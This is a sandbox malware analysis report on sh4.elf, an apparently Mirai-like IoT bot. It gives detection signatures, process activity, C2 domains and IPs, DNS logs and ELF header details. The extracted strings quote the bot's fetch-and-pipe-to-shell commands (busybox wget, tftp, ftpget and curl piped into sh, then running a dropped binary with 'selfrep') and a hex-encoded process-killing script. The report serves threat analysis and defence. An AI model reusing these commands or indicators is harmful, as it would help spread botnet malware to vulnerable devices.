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Linux Analysis Report
sh4.elf

Overview

General Information

Sample name:	sh4.elf
Analysis ID:	1580164
MD5:	52eaf5d7d243cec1cbbbe043dd7383d6
SHA1:	2a00916bbfa36a7ce810d02edc3462ba5d6f0369
SHA256:	ebb8a4555c3361692e8d6f4d9903e3c212e75419cca5f31aa1bdc7c603694b5b
Tags:	elfuser-abuse_ch
Infos:

Detection

Score:	56
Range:	0 - 100
Whitelisted:	false

Signatures

Multi AV Scanner detection for submitted file

Connects to many ports of the same IP (likely port scanning)

Sends malformed DNS queries

Detected TCP or UDP traffic on non-standard ports

Enumerates processes within the "proc" file system

Found strings indicative of a multi-platform dropper

Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable

Sample has stripped symbol table

Sample listens on a socket

Uses the "uname" system call to query kernel version information (possible evasion)

Classification

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1580164
Start date and time:	2024-12-24 03:31:15 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 51s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultlinuxfilecookbook.jbs
Analysis system description:	Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:	default
Sample name:	sh4.elf
Detection:	MAL
Classification:	mal56.troj.linELF@0/122@12/0

Warnings

Report size exceeded maximum capacity and may have missing network information.
VT rate limit hit for: serisontop.dyn

Runtime Messages

Command:	/tmp/sh4.elf
PID:	5521
Exit Code:	0
Exit Code Info:
Killed:	False
Standard Output:	The Peoples Bank of China.
Standard Error:

Process Tree

system is lnxubuntu20

sh4.elf (PID: 5521, Parent: 5450, MD5: 8943e5f8f8c280467b4472c15ae93ba9) Arguments: /tmp/sh4.elf

sh4.elf New Fork (PID: 5523, Parent: 5521)

sh4.elf New Fork (PID: 5525, Parent: 5523)

sh4.elf New Fork (PID: 5527, Parent: 5523)

sh4.elf New Fork (PID: 5529, Parent: 5523)

cleanup

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: sh4.elf

ReversingLabs: Detection: 34%

Source: sh4.elf

String: /bin/busyboxincorrectinvalidbadwrongfaildeniederrorretryenableshellshlinuxshellping ;shusage: busybox/bin/busybox hostname PBOC/bin/busybox echo > .b && sh .b && cd .ksh .k/bin/busybox wget http:///wget.sh -O- | sh;/bin/busybox tftp -g -r tftp.sh -l- | sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- | sh/bin/busybox chmod +x .d; ./.d; ./dvrHelper selfrepThe People's/var//var/run//var/tmp//dev//dev/shm//etc//mnt//usr//boot//home/"\x23\x21\x2F\x62\x69\x6E\x2F\x73\x68\x0A\x0A\x66\x6F\x72\x20\x70\x72\x6F\x63\x5F\x64\x69\x72\x20\x69\x6E\x20\x2F\x70\x72\x6F\x63""\x2F\x2A\x3B\x20\x64\x6F\x0A\x20\x20\x20\x20\x70\x69\x64\x3D\x24\x7B\x70\x72\x6F\x63\x5F\x64\x69\x72\x23\x23\x2A\x2F\x7D\x0A\x0A""\x20\x20\x20\x20\x72\x65\x73\x75\x6C\x74\x3D\x24\x28\x6C\x73\x20\x2D\x6C\x20\x22\x2F\x70\x72\x6F\x63\x2F\x24\x70\x69\x64\x2F\x65""\x78\x65\x22\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x29\x0A\x0A\x20\x20\x20\x20\x69\x66\x20\x5B\x20\x22\x24\x72\x65""\x73\x75\x6C\x74\x22\x20\x21\x3D\x20\x22\x24\x7B\x72\x65\x73\x75\x6C\x74\x25\x28\x64\x65\x6C\x65\x74\x65\x64\x29\x7D\x22\x20\x5D""\x3B\x20\x74\x68\x65\x6E\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x6B\x69\x6C\x6C\x20\x2D\x39\x20\x22\x24\x70\x69\x64\x22\x0A\x20\x20""\x20\x20\x66\x69\x0A\x64\x6F\x6E\x65\x0A"armarm5arm6arm7mipsmpslppcspcsh4

Source: global traffic	TCP traffic: 192.168.2.15:55312 -> 209.38.192.73:38241
Source: global traffic	TCP traffic: 192.168.2.15:52950 -> 154.216.16.250:38241
Source: global traffic	TCP traffic: 192.168.2.15:40776 -> 154.216.16.244:38241

Source: unknown	TCP traffic detected without corresponding DNS query: 26.239.119.162
Source: unknown	TCP traffic detected without corresponding DNS query: 15.196.7.169
Source: unknown	TCP traffic detected without corresponding DNS query: 17.133.82.238
Source: unknown	TCP traffic detected without corresponding DNS query: 42.36.109.24
Source: unknown	TCP traffic detected without corresponding DNS query: 89.253.30.85
Source: unknown	TCP traffic detected without corresponding DNS query: 217.78.44.237
Source: unknown	TCP traffic detected without corresponding DNS query: 191.102.24.221
Source: unknown	TCP traffic detected without corresponding DNS query: 73.74.214.82
Source: unknown	TCP traffic detected without corresponding DNS query: 77.41.36.186
Source: unknown	TCP traffic detected without corresponding DNS query: 74.153.250.79
Source: unknown	TCP traffic detected without corresponding DNS query: 96.204.2.84
Source: unknown	TCP traffic detected without corresponding DNS query: 195.124.83.97
Source: unknown	TCP traffic detected without corresponding DNS query: 87.137.72.160
Source: unknown	TCP traffic detected without corresponding DNS query: 209.64.155.124
Source: unknown	TCP traffic detected without corresponding DNS query: 70.59.146.253
Source: unknown	TCP traffic detected without corresponding DNS query: 15.12.178.189
Source: unknown	TCP traffic detected without corresponding DNS query: 178.237.168.66
Source: unknown	TCP traffic detected without corresponding DNS query: 193.87.233.188
Source: unknown	TCP traffic detected without corresponding DNS query: 16.18.51.181
Source: unknown	TCP traffic detected without corresponding DNS query: 19.175.45.170
Source: unknown	TCP traffic detected without corresponding DNS query: 211.221.31.84
Source: unknown	TCP traffic detected without corresponding DNS query: 44.134.64.215
Source: unknown	TCP traffic detected without corresponding DNS query: 105.64.159.62
Source: unknown	TCP traffic detected without corresponding DNS query: 183.181.86.140
Source: unknown	TCP traffic detected without corresponding DNS query: 203.126.133.218
Source: unknown	TCP traffic detected without corresponding DNS query: 13.59.243.6
Source: unknown	TCP traffic detected without corresponding DNS query: 20.35.19.18
Source: unknown	TCP traffic detected without corresponding DNS query: 147.158.4.220
Source: unknown	TCP traffic detected without corresponding DNS query: 26.239.119.162
Source: unknown	TCP traffic detected without corresponding DNS query: 188.126.173.120
Source: unknown	TCP traffic detected without corresponding DNS query: 15.196.7.169
Source: unknown	TCP traffic detected without corresponding DNS query: 75.83.222.73
Source: unknown	TCP traffic detected without corresponding DNS query: 77.159.76.47
Source: unknown	TCP traffic detected without corresponding DNS query: 17.133.82.238
Source: unknown	TCP traffic detected without corresponding DNS query: 68.74.149.238
Source: unknown	TCP traffic detected without corresponding DNS query: 169.80.168.68
Source: unknown	TCP traffic detected without corresponding DNS query: 42.36.109.24
Source: unknown	TCP traffic detected without corresponding DNS query: 56.139.109.164
Source: unknown	TCP traffic detected without corresponding DNS query: 89.253.30.85
Source: unknown	TCP traffic detected without corresponding DNS query: 80.189.164.90
Source: unknown	TCP traffic detected without corresponding DNS query: 123.5.161.130
Source: unknown	TCP traffic detected without corresponding DNS query: 217.78.44.237
Source: unknown	TCP traffic detected without corresponding DNS query: 41.32.35.113
Source: unknown	TCP traffic detected without corresponding DNS query: 142.90.118.214
Source: unknown	TCP traffic detected without corresponding DNS query: 191.102.24.221
Source: unknown	TCP traffic detected without corresponding DNS query: 129.18.214.125
Source: unknown	TCP traffic detected without corresponding DNS query: 73.74.214.82
Source: unknown	TCP traffic detected without corresponding DNS query: 118.69.140.127
Source: unknown	TCP traffic detected without corresponding DNS query: 21.30.48.14
Source: unknown	TCP traffic detected without corresponding DNS query: 77.41.36.186

Source: global traffic	DNS traffic detected: DNS query: serisontop.dyn
Source: global traffic	DNS traffic detected: DNS query: serisbot.geek. [malformed]

Source: sh4.elf	String found in binary or memory: http:///curl.sh
Source: sh4.elf	String found in binary or memory: http:///wget.sh

Source: Initial sample	String containing 'busybox' found: /bin/busybox echo -ne
Source: Initial sample	String containing 'busybox' found: /bin/busybox echo -ne >> > .d
Source: Initial sample	String containing 'busybox' found: /bin/busybox
Source: Initial sample	String containing 'busybox' found: usage: busybox
Source: Initial sample	String containing 'busybox' found: /bin/busybox hostname PBOC
Source: Initial sample	String containing 'busybox' found: /bin/busybox echo >
Source: Initial sample	String containing 'busybox' found: /bin/busybox wget http://
Source: Initial sample	String containing 'busybox' found: /wget.sh -O- \| sh;/bin/busybox tftp -g
Source: Initial sample	String containing 'busybox' found: -r tftp.sh -l- \| sh;/bin/busybox ftpget
Source: Initial sample	String containing 'busybox' found: /bin/busybox chmod +x .d; ./.d; ./dvrHelper selfrep
Source: Initial sample	String containing 'busybox' found: /bin/busyboxincorrectinvalidbadwrongfaildeniederrorretryenableshellshlinuxshellping ;shusage: busybox/bin/busybox hostname PBOC/bin/busybox echo > .b && sh .b && cd .ksh .k/bin/busybox wget http:///wget.sh -O- \| sh;/bin/busybox tftp -g -r tftp.sh -l- \| sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- \| sh/bin/busybox chmod +x .d; ./.d; ./dvrHelper selfrepThe People's/var//var/run//var/tmp//dev//dev/shm//etc//mnt//usr//boot//home/"\x23\x21\x2F\x62\x69\x6E\x2F\x73\x68\x0A\x0A\x66\x6F\x72\x20\x70\x72\x6F\x63\x5F\x64\x69\x72\x20\x69\x6E\x20\x2F\x70\x72\x6F\x63""\x2F\x2A\x3B\x20\x64\x6F\x0A\x20\x20\x20\x20\x70\x69\x64\x3D\x24\x7B\x70\x72\x6F\x63\x5F\x64\x69\x72\x23\x23\x2A\x2F\x7D\x0A\x0A""\x20\x20\x20\x20\x72\x65\x73\x75\x6C\x74\x3D\x24\x28\x6C\x73\x20\x2D\x6C\x20\x22\x2F\x70\x72\x6F\x63\x2F\x24\x70\x69\x64\x2F\x65""\x78\x65\x22\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x29\x0A\x0A\x20\x20\x20\x20\x69\x66\x20\x5B\x20\x22\x24\x72\x65""\x73\x75\x6C\x74\x22\x20\x21\x3D

Source: /tmp/sh4.elf (PID: 5527)	File opened: /proc/5560/maps	Jump to behavior
Source: /tmp/sh4.elf (PID: 5527)	File opened: /proc/5560/cmdline	Jump to behavior
Source: /tmp/sh4.elf (PID: 5527)	File opened: /proc/5550/maps	Jump to behavior
Source: /tmp/sh4.elf (PID: 5527)	File opened: /proc/5550/cmdline	Jump to behavior
Source: /tmp/sh4.elf (PID: 5527)	File opened: /proc/5561/maps	Jump to behavior
Source: /tmp/sh4.elf (PID: 5527)	File opened: /proc/5561/cmdline	Jump to behavior
Source: /tmp/sh4.elf (PID: 5527)	File opened: /proc/5540/maps	Jump to behavior
Source: /tmp/sh4.elf (PID: 5527)	File opened: /proc/5540/cmdline	Jump to behavior
Source: /tmp/sh4.elf (PID: 5527)	File opened: /proc/5551/maps	Jump to behavior
Source: /tmp/sh4.elf (PID: 5527)	File opened: /proc/5551/cmdline	Jump to behavior
Source: /tmp/sh4.elf (PID: 5527)	File opened: /proc/5562/maps	Jump to behavior
Source: /tmp/sh4.elf (PID: 5527)	File opened: /proc/5562/cmdline	Jump to behavior
Source: /tmp/sh4.elf (PID: 5527)	File opened: /proc/5552/maps	Jump to behavior
Source: /tmp/sh4.elf (PID: 5527)	File opened: /proc/5552/cmdline	Jump to behavior
Source: /tmp/sh4.elf (PID: 5527)	File opened: /proc/5563/maps	Jump to behavior
Source: /tmp/sh4.elf (PID: 5527)	File opened: /proc/5563/cmdline	Jump to behavior
Source: /tmp/sh4.elf (PID: 5527)	File opened: /proc/5553/maps	Jump to behavior
Source: /tmp/sh4.elf (PID: 5527)	File opened: /proc/5553/cmdline	Jump to behavior
Source: /tmp/sh4.elf (PID: 5527)	File opened: /proc/5564/maps	Jump to behavior
Source: /tmp/sh4.elf (PID: 5527)	File opened: /proc/5564/cmdline	Jump to behavior
Source: /tmp/sh4.elf (PID: 5527)	File opened: /proc/5554/maps	Jump to behavior
Source: /tmp/sh4.elf (PID: 5527)	File opened: /proc/5554/cmdline	Jump to behavior
Source: /tmp/sh4.elf (PID: 5527)	File opened: /proc/5565/maps	Jump to behavior
Source: /tmp/sh4.elf (PID: 5527)	File opened: /proc/5565/cmdline	Jump to behavior
Source: /tmp/sh4.elf (PID: 5527)	File opened: /proc/5555/maps	Jump to behavior
Source: /tmp/sh4.elf (PID: 5527)	File opened: /proc/5555/cmdline	Jump to behavior
Source: /tmp/sh4.elf (PID: 5527)	File opened: /proc/5556/maps	Jump to behavior
Source: /tmp/sh4.elf (PID: 5527)	File opened: /proc/5556/cmdline	Jump to behavior
Source: /tmp/sh4.elf (PID: 5527)	File opened: /proc/5557/maps	Jump to behavior
Source: /tmp/sh4.elf (PID: 5527)	File opened: /proc/5557/cmdline	Jump to behavior
Source: /tmp/sh4.elf (PID: 5527)	File opened: /proc/5558/maps	Jump to behavior
Source: /tmp/sh4.elf (PID: 5527)	File opened: /proc/5558/cmdline	Jump to behavior
Source: /tmp/sh4.elf (PID: 5527)	File opened: /proc/5559/maps	Jump to behavior
Source: /tmp/sh4.elf (PID: 5527)	File opened: /proc/5559/cmdline	Jump to behavior
Source: /tmp/sh4.elf (PID: 5527)	File opened: /proc/5549/maps	Jump to behavior
Source: /tmp/sh4.elf (PID: 5527)	File opened: /proc/5549/cmdline	Jump to behavior

Source: sh4.elf, 5521.1.00005628d981e000.00005628d9881000.rw-.sdmp, sh4.elf, 5525.1.00005628d981e000.00005628d9881000.rw-.sdmp	Binary or memory string: (V5!/etc/qemu-binfmt/sh4
Source: sh4.elf, 5521.1.00007fffd846f000.00007fffd8490000.rw-.sdmp, sh4.elf, 5525.1.00007fffd846f000.00007fffd8490000.rw-.sdmp	Binary or memory string: /usr/bin/qemu-sh4
Source: sh4.elf, 5521.1.00005628d981e000.00005628d9881000.rw-.sdmp, sh4.elf, 5525.1.00005628d981e000.00005628d9881000.rw-.sdmp	Binary or memory string: /etc/qemu-binfmt/sh4
Source: sh4.elf, 5521.1.00007fffd846f000.00007fffd8490000.rw-.sdmp, sh4.elf, 5525.1.00007fffd846f000.00007fffd8490000.rw-.sdmp	Binary or memory string: x86_64/usr/bin/qemu-sh4/tmp/sh4.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/sh4.elf

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	Valid Accounts	Windows Management Instrumentation	1 Scripting	Path Interception	Direct Volume Access	1 OS Credential Dumping	11 Security Software Discovery	Remote Services	Data from Local System	1 Non-Standard Port	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	Rootkit	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	1 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact

Name	IP	Active	Malicious	Antivirus Detection	Reputation
serisontop.dyn	209.38.192.73	true	true		unknown
serisbot.geek. [malformed]	unknown	unknown	true		unknown

Name	Source	Malicious	Antivirus Detection	Reputation
http:///wget.sh	sh4.elf	false		high
http:///curl.sh	sh4.elf	false		high

IP	Domain	Country	ASN	ASN Name	Malicious
201.229.25.83	unknown	Aruba	11816	SetarNetAW	false
12.183.68.145	unknown	United States	7018	ATT-INTERNET4US	false
180.131.146.29	unknown	Indonesia	45719	NAWALA-AS-IDNawalaProject-DNSFilteringProjectID	false
205.236.174.126	unknown	Canada	22652	FIBRENOIRE-INTERNETCA	false
72.191.168.72	unknown	United States	11427	TWC-11427-TEXASUS	false
59.113.164.0	unknown	Taiwan; Republic of China (ROC)	3462	HINETDataCommunicationBusinessGroupTW	false
34.3.190.111	unknown	United States	2686	ATGS-MMD-ASUS	false
17.80.32.103	unknown	United States	714	APPLE-ENGINEERINGUS	false
186.228.156.177	unknown	Brazil	26615	TIMSABR	false
129.95.93.4	unknown	United States	11995	OHSUUS	false
187.30.103.32	unknown	Brazil	4230	CLAROSABR	false
86.129.113.38	unknown	United Kingdom	2856	BT-UK-ASBTnetUKRegionalnetworkGB	false
125.244.180.163	unknown	Korea Republic of	9316	DACOM-PUBNETPLUS-AS-KRDACOM-PUBNETPLUSKR	false
146.217.84.122	unknown	United States	20478	GENMILLSUS	false
143.214.190.151	unknown	United States	1602	DNIC-AS-01602US	false
2.81.20.250	unknown	Portugal	3243	MEO-RESIDENCIALPT	false
175.35.36.165	unknown	Australia	4804	MPX-ASMicroplexPTYLTDAU	false
94.21.17.126	unknown	Hungary	20845	DIGICABLEHU	false
194.49.12.120	unknown	United Kingdom	206347	RANSTON-AS-1GB	false
28.171.133.115	unknown	United States	7922	COMCAST-7922US	false
69.9.111.78	unknown	United States	19397	ACN-DIGITAL-PHONEUS	false
82.227.201.153	unknown	France	12322	PROXADFR	false
8.115.242.108	unknown	United States	3356	LEVEL3US	false
223.46.19.169	unknown	Korea Republic of	9644	SKTELECOM-NET-ASSKTelecomKR	false
40.203.115.39	unknown	United States	4249	LILLY-ASUS	false
36.83.231.71	unknown	Indonesia	7713	TELKOMNET-AS-APPTTelekomunikasiIndonesiaID	false
63.225.189.168	unknown	United States	209	CENTURYLINK-US-LEGACY-QWESTUS	false
100.62.173.29	unknown	United States	701	UUNETUS	false
207.249.235.175	unknown	Mexico	2549	UniversidaddeGuadalajaraMX	false
91.19.142.239	unknown	Germany	3320	DTAGInternetserviceprovideroperationsDE	false
16.116.70.66	unknown	United States	unknown	unknown	false
210.10.227.177	unknown	Australia	2764	AAPTAAPTLimitedAU	false
181.85.43.239	unknown	Argentina	7303	TelecomArgentinaSAAR	false
21.30.48.14	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
71.190.159.0	unknown	United States	701	UUNETUS	false
172.104.142.119	unknown	United States	63949	LINODE-APLinodeLLCUS	false
142.134.43.107	unknown	Canada	855	CANET-ASN-4CA	false
26.160.26.187	unknown	United States	7922	COMCAST-7922US	false
33.17.177.83	unknown	United States	2686	ATGS-MMD-ASUS	false
115.253.210.86	unknown	India	18101	RELIANCE-COMMUNICATIONS-INRelianceCommunicationsLtdDAKC	false

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
69.9.111.78	sora.arm7	Get hash	malicious	Mirai	Browse
69.9.111.78	mips-20211007-1618	Get hash	malicious	Mirai	Browse
86.129.113.38	loligang.arm	Get hash	malicious	Mirai	Browse
59.113.164.0	b3astmode.x86.elf	Get hash	malicious	Unknown	Browse
59.113.164.0	Oe8wH5F8V7	Get hash	malicious	Mirai	Browse
194.49.12.120	arm7	Get hash	malicious	Mirai	Browse
40.203.115.39	JtRzcZTu3S.elf	Get hash	malicious	Mirai	Browse

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
NAWALA-AS-IDNawalaProject-DNSFilteringProjectID	arm5.elf	Get hash	malicious	Mirai	Browse	180.131.146.74
	na.elf	Get hash	malicious	Mirai	Browse	180.131.146.53
	na.elf	Get hash	malicious	Mirai	Browse	180.131.146.22
	arm-20241006-0950.elf	Get hash	malicious	Mirai	Browse	180.131.146.77
	https://shared.outlook.inky.com/link?domain=ctrk.klclick.com&t=h.eJw9jbFuwjAURX8FeYbYie0EMSE1FImhAwvqhOznR2v5EZD9MqH-O5ih87n3nIeYM4nNQvwy38tGSuCcmkRAEVIDt6skqdqDOX7sD6MelT5-rnfWnrqvfjd-n5VYLkSq_5_osyN2eeXnEicsZQXuHtmRzDfMjLT9n3h4m603QzD6Mliv8ILrvveofQCAQVkTlGyHTreqU8Y22tYS1tLVMW_RcchxSgEdlWqrOLzwNBP9PQFiYELz.MEYCIQD02rB_k_ktgQerK63B9HoYsBFlvy8F_tbykpnP7o7g5AIhAOA712rppvWoWatyTJ3OTcEdq2l5y_Vb1I5ameNhve0o%C3%B8#am9obi5kYXZpc0BhbWF6b24uY29t	Get hash	malicious	HTMLPhisher	Browse	180.131.145.90
	yHIoCL9LQV.elf	Get hash	malicious	Mirai	Browse	180.131.146.229
	July2024.eml	Get hash	malicious	HTMLPhisher	Browse	180.131.145.90
	zDAH4anUtC.elf	Get hash	malicious	Unknown	Browse	180.131.146.19
	z5tLjmo4GP.elf	Get hash	malicious	Mirai	Browse	180.131.146.40
	huhu.arm.elf	Get hash	malicious	Mirai	Browse	180.131.146.88
SetarNetAW	nshkmips.elf	Get hash	malicious	Mirai	Browse	186.189.54.98
	sora.mips.elf	Get hash	malicious	Mirai	Browse	201.229.25.23
	sh4.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	186.189.28.205
	meerkat.arm7.elf	Get hash	malicious	Mirai	Browse	201.229.25.41
	meerkat.arm.elf	Get hash	malicious	Mirai	Browse	201.229.74.22
	mpsl.elf	Get hash	malicious	Mirai	Browse	186.189.54.89
	la.bot.sparc.elf	Get hash	malicious	Unknown	Browse	186.189.54.95
	sh4.elf	Get hash	malicious	Mirai	Browse	179.61.36.40
	na.elf	Get hash	malicious	Mirai	Browse	179.61.36.41
	na.elf	Get hash	malicious	Mirai	Browse	179.61.36.41
ATT-INTERNET4US	armv7l.elf	Get hash	malicious	Unknown	Browse	69.235.165.131
	armv5l.elf	Get hash	malicious	Unknown	Browse	65.81.221.130
	armv6l.elf	Get hash	malicious	Unknown	Browse	75.56.116.166
	armv4l.elf	Get hash	malicious	Unknown	Browse	108.88.23.116
	loligang.sh4.elf	Get hash	malicious	Mirai	Browse	12.103.188.228
	loligang.arm.elf	Get hash	malicious	Mirai	Browse	12.63.169.229
	loligang.mpsl.elf	Get hash	malicious	Mirai	Browse	107.120.175.245
	loligang.arm7.elf	Get hash	malicious	Mirai	Browse	69.224.57.30
	loligang.ppc.elf	Get hash	malicious	Mirai	Browse	107.122.81.255
	loligang.mips.elf	Get hash	malicious	Mirai	Browse	108.74.98.88

Process:	/tmp/sh4.elf
File Type:	ASCII text
Category:	dropped
Size (bytes):	292
Entropy (8bit):	3.1616342875702634
Encrypted:	false
SSDEEP:	6:URe6gDFKZdFT/VcDFmVVC/VQEVl/VDM/V+4D/VH:IefOFm0PEVDMfF
MD5:	2D5F1162E97900FF76FA6AF0786737F9
SHA1:	6FECAF758FD1AAC8EFE404280F3BECB320D318BE
SHA-256:	B9E530D829B7DF78273C5EC9D5A14D2C1136CD1E94358F977FCDE76CBD669EEE
SHA-512:	96A05713DA58CFF121E0B3EB98A2B3C082100A558C71588DBC82205173AAC81FDE2602125C736BE9C618938FB76E1AA6197CFC77F136E8799D84800C3E666D1C
Malicious:	false
Reputation:	low
Preview:	400000-40e000 r-xp 00000000 fd:00 531606 /tmp/..41d000-41e000 rw-p 0000d000 fd:00 531606 /tmp/..41e000-420000 rw-p 00000000 00:00 0 .420000-421000 rw-p 00000000 00:00 0 .7f7ff000-7f800000 ---p 00000000 00:00 0 .7f800000-80000000 rw-p 00000000 00:00 0 [stack].

File type:	ELF 32-bit LSB executable, Renesas SH, version 1 (SYSV), statically linked, stripped
Entropy (8bit):	6.7841523638263075
TrID:	ELF Executable and Linkable format (generic) (4004/1) 100.00%
File name:	sh4.elf
File size:	55'728 bytes
MD5:	52eaf5d7d243cec1cbbbe043dd7383d6
SHA1:	2a00916bbfa36a7ce810d02edc3462ba5d6f0369
SHA256:	ebb8a4555c3361692e8d6f4d9903e3c212e75419cca5f31aa1bdc7c603694b5b
SHA512:	0edcc3c679c5c6e8416d10688d99fbd91518e59379dc6862a20a63f0d4c15b00cc2510e1deb959bb9b0dc2cb6920268ddc647c6e354ce682a026417f6f8dc035
SSDEEP:	1536:gaIwt47MG8lnJ+2Ufkv5UH65i8XU/CghT3bsR:gfxMG8lJHDvWHgpU/nT3
TLSH:	92439E77D82DADC4D54C5274A8318AB59B47E100D2972FBB1A45C8F68083ABCF64EBF4
File Content Preview:	.ELF.....................@.4...........4. ...(...............@...@.4...4...............8...8.A.8.A.\|...............Q.td............................././"O.n........#.@........#.*@.....o&O.n...l..............................././.../.a"O.!...n...a.b("...q.

ELF header
Class:	ELF32
Data:	2's complement, little endian
Version:	1 (current)
Machine:	<unknown>
Version Number:	0x1
Type:	EXEC (Executable file)
OS/ABI:	UNIX - System V
ABI Version:	0
Entry Point Address:	0x4001a0
Flags:	0x9
ELF Header Size:	52
Program Header Offset:	52
Program Header Size:	32
Number of Program Headers:	3
Section Header Offset:	55288
Section Header Size:	40
Number of Section Headers:	11
Header String Table Index:	10

Name	Type	Address	Offset	Size	EntSize	Flags	Flags Description	Align
	NULL	0x0	0x0	0x0	0x0	0x0		0
.init	PROGBITS	0x400094	0x94	0x30	0x0	0x6	AX	4
.text	PROGBITS	0x4000e0	0xe0	0xc720	0x0	0x6	AX	32
.fini	PROGBITS	0x40c800	0xc800	0x24	0x0	0x6	AX	4
.rodata	PROGBITS	0x40c824	0xc824	0xe10	0x0	0x2	A	4
.ctors	PROGBITS	0x41d638	0xd638	0x8	0x0	0x3	WA	4
.dtors	PROGBITS	0x41d640	0xd640	0x8	0x0	0x3	WA	4
.jcr	PROGBITS	0x41d648	0xd648	0x4	0x0	0x3	WA	4
.data	PROGBITS	0x41d64c	0xd64c	0x168	0x0	0x3	WA	4
.bss	NOBITS	0x41d7b4	0xd7b4	0x1198	0x0	0x3	WA	4
.shstrtab	STRTAB	0x0	0xd7b4	0x43	0x0	0x0		1

Type	Offset	Virtual Address	Physical Address	File Size	Memory Size	Entropy	Flags	Flags Description	Align	Section Mappings
LOAD	0x0	0x400000	0x400000	0xd634	0xd634	6.8299	0x5	R E	0x10000	.init .text .fini .rodata
LOAD	0xd638	0x41d638	0x41d638	0x17c	0x1314	0.8961	0x6	RW	0x10000	.ctors .dtors .jcr .data .bss
GNU_STACK	0x0	0x0	0x0	0x0	0x0	0.0000	0x7	RWE	0x4

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 24, 2024 03:31:58.049536943 CET	192.168.2.15	51.158.108.203	0xa321	Standard query (0)	serisontop.dyn	A (IP address)	IN (0x0001)	false
Dec 24, 2024 03:32:09.849632025 CET	192.168.2.15	168.235.111.72	0x3597	Standard query (0)	serisbot.geek. [malformed]	256	297	false
Dec 24, 2024 03:32:22.396812916 CET	192.168.2.15	51.158.108.203	0x6b1f	Standard query (0)	serisbot.geek. [malformed]	256	310	false
Dec 24, 2024 03:32:34.872664928 CET	192.168.2.15	202.61.197.122	0xdfef	Standard query (0)	serisontop.dyn	A (IP address)	IN (0x0001)	false
Dec 24, 2024 03:32:47.363465071 CET	192.168.2.15	185.181.61.24	0x14bb	Standard query (0)	serisontop.dyn	A (IP address)	IN (0x0001)	false
Dec 24, 2024 03:32:48.906390905 CET	192.168.2.15	185.181.61.24	0x5867	Standard query (0)	serisbot.geek. [malformed]	256	337	false
Dec 24, 2024 03:33:01.403439999 CET	192.168.2.15	51.158.108.203	0x975f	Standard query (0)	serisbot.geek. [malformed]	256	349	false
Dec 24, 2024 03:33:02.891302109 CET	192.168.2.15	194.36.144.87	0xc0a1	Standard query (0)	serisbot.geek. [malformed]	256	350	false
Dec 24, 2024 03:33:15.369399071 CET	192.168.2.15	81.169.136.222	0x1363	Standard query (0)	serisontop.dyn	A (IP address)	IN (0x0001)	false
Dec 24, 2024 03:33:27.150878906 CET	192.168.2.15	194.36.144.87	0x7adf	Standard query (0)	serisbot.geek. [malformed]	256	375	false
Dec 24, 2024 03:33:39.632714987 CET	192.168.2.15	194.36.144.87	0xc6b5	Standard query (0)	serisontop.dyn	A (IP address)	IN (0x0001)	false
Dec 24, 2024 03:33:52.116136074 CET	192.168.2.15	152.53.15.127	0xe6cf	Standard query (0)	serisontop.dyn	A (IP address)	IN (0x0001)	false

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Dec 24, 2024 03:31:58.289426088 CET	51.158.108.203	192.168.2.15	0xa321	No error (0)	serisontop.dyn		209.38.192.73	A (IP address)	IN (0x0001)	false
Dec 24, 2024 03:32:22.636212111 CET	51.158.108.203	192.168.2.15	0x6b1f	Format error (1)	serisbot.geek. [malformed]	none	none	256	310	false
Dec 24, 2024 03:32:35.122201920 CET	202.61.197.122	192.168.2.15	0xdfef	No error (0)	serisontop.dyn		209.38.192.73	A (IP address)	IN (0x0001)	false
Dec 24, 2024 03:32:35.122201920 CET	202.61.197.122	192.168.2.15	0xdfef	No error (0)	serisontop.dyn		154.216.16.250	A (IP address)	IN (0x0001)	false
Dec 24, 2024 03:32:35.122201920 CET	202.61.197.122	192.168.2.15	0xdfef	No error (0)	serisontop.dyn		154.216.16.244	A (IP address)	IN (0x0001)	false
Dec 24, 2024 03:32:47.619024992 CET	185.181.61.24	192.168.2.15	0x14bb	No error (0)	serisontop.dyn		209.38.192.73	A (IP address)	IN (0x0001)	false
